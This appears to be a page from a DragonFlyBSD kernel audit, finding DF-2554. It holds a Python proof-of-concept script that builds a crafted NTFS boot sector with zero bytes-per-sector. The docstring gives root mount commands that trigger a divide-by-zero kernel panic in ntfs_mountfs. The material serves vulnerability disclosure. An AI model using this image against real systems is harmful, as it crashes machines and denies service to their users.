DragonFlyBSD Kernel Audit
DF-2554 / gen_image.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-2554: NTFS divide-by-zero PoC image generator.

Bug (sys/vfs/ntfs/ntfs_vfsops.c ntfs_mountfs):
  The boot sector (struct bootfile, packed, sys/vfs/ntfs/ntfs.h:223) is read
  from disk (bread at :327) and bcopy'd into ntm_bootfile (:331).  The ONLY
  validation of the boot sector is an 8-byte magic check at :343
  (strncmp(bf_sysid, "NTFS    ", 8)).  The bytes-per-sector field bf_bps
  (u_int16 at boot-sector offset 11) is NEVER validated.

  ntm_bps (== bf_bps) is then used as a DIVISOR at :354:
      int8_t cpr = ntmp->ntm_mftrecsz;
      if (cpr > 0)
          ntmp->ntm_bpmftrec = ntmp->ntm_spc * cpr;
      else
          ntmp->ntm_bpmftrec = (1 << (-cpr)) / ntmp->ntm_bps;   // #DE if bps==0

  A crafted image with bf_bps == 0 and bf_mftrecsz <= 0 (signed) reaches the
  else branch and divides by zero -> CPU #DE -> kernel panic at mount time.

  struct bootfile (packed) offsets:
    0   reserved1[3]            jmp near
    3   bf_sysid[8]             "NTFS    "   (must match NTFS_BBID)
    11  bf_bps   u16            bytes per sector   <-- SET TO 0
    13  bf_spc   u8             sectors per cluster
    ...
    48  bf_mftcn u64            $MFT cluster
    56  bf_mftmirrcn u64        $MFTMirr cluster
    64  bf_mftrecsz u8          MFT record size   <-- SET TO 0xF6 (-10 signed)
    ...
  BBSIZE = 1024 (the bread size).

Run (as root):
  kldload ntfs
  vnconfig /dev/vn0 evil.ntfs
  mount_ntfs -o ro /dev/vn0 /mnt        # -> divide-by-zero panic
"""
import struct, sys

BBSIZE = 1024
img = bytearray(BBSIZE)

# 3-byte jmp near
img[0:3] = b'\xEB\x52\x90'
# 8-byte OEM/sysid magic (must equal NTFS_BBID "NTFS    ")
img[3:11] = b'NTFS    '
# bytes per sector = 0  (offset 11, u16 LE)  <-- the unvalidated divisor
struct.pack_into('<H', img, 11, 0)
# sectors per cluster = 1 (offset 13) -- nonzero, harmless
img[13] = 1
# bf_mftrecsz = 0xF6 (-10 signed) -> cpr<=0 -> else branch -> div by ntm_bps(=0)
img[64] = 0xF6
# leave bf_mftcn / bf_mftmirrcn / etc zero

out = sys.argv[1] if len(sys.argv) > 1 else 'evil.ntfs'
with open(out, 'wb') as f:
    f.write(img)
print(f"[+] wrote {out} ({len(img)} bytes): bf_bps=0 bf_mftrecsz=0xF6(-10) bf_sysid='NTFS    '")